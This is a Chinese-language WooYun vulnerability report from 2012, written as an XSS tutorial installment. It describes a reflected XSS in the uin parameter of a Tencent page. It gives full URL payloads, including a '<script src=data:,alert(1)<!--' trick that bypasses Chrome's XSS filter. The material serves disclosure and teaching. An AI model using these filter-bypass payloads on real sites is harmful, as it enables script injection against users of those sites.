当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016672

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 17. XSS过滤器绕过 [通用绕过]

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-29 18:00

修复时间:2013-02-12 18:00

公开时间:2013-02-12 18:00

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:2

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-29: 细节已通知厂商并且等待厂商处理中
2012-12-31: 厂商已经确认,细节仅向厂商公开
2013-01-10: 细节向核心白帽子及相关领域专家公开
2013-01-20: 细节向普通白帽子公开
2013-01-30: 细节向实习白帽子公开
2013-02-12: 细节向公众公开

简要描述:

关于反射型的基本东西,暂时就到这啦,如果后面有什么好的case,再做增补。最近,有些人会问到怎么绕过浏览器的XSS过滤器,所以从这节开始,给出点绕过的例子。当然这些绕过浏览器的方法,不是万能的。不同浏览器,不同场景都会存在差异。满足场景要求时,才可以使用。
IE的一些绕过见乌云上的 @gainover,@sogili 的例子,我们教程就不再提及了。
此文给出的是一个来自sogili分享的chrome下绕过过滤器的方法,在腾讯某处XSS上的应用。
这一类都算是“结合了一定场景”,绕过了浏览器自身的防御机制,具有一定的通用性,我们称为“通用绕过”(瞎起的名字,别在意)。但是在后续版本的浏览器中,这些技巧可能会被浏览器干掉从而失效。再次强调:通用不是全部都行,意思是所适用的场景实际发生的概率比较高!

详细说明:

1. 其实就是个普通的XSS点,uin参数没有对任何字符进行过滤。

http://bangbang.qq.com/php/login?game=roco&uin="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2


2. 正是由于这个点什么都没过滤,浏览器自身的防御机制也最好发挥作用,瞧瞧,chrome拦截了。。

91.jpg


有的新手,不知道有过滤器的,更是会觉得 “啊,这是怎么回事,怎么不行啊,明明可以的。。”
我们只要看到console里有上面那句,就说明 chrome的过滤器大发神威了!!
3. 我们也看看源码。

92.jpg


危害部分被和谐了。
4. 那么怎么绕过呢? 这里直接说方法。
5. 首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 </script> 标签。 我们看看当前的这个点的代码。

...
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">
...
<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>
...


6. 可以看到上面的要求均满足。我们就可以使用以下技巧。

<script src=data:,alert(1)<!--


7. 代入到我们的利用代码里。

http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2


这次,我们就成功啦。

93.jpg


漏洞证明:

见详细说明

修复方案:

参见教程1

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-31 09:56

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无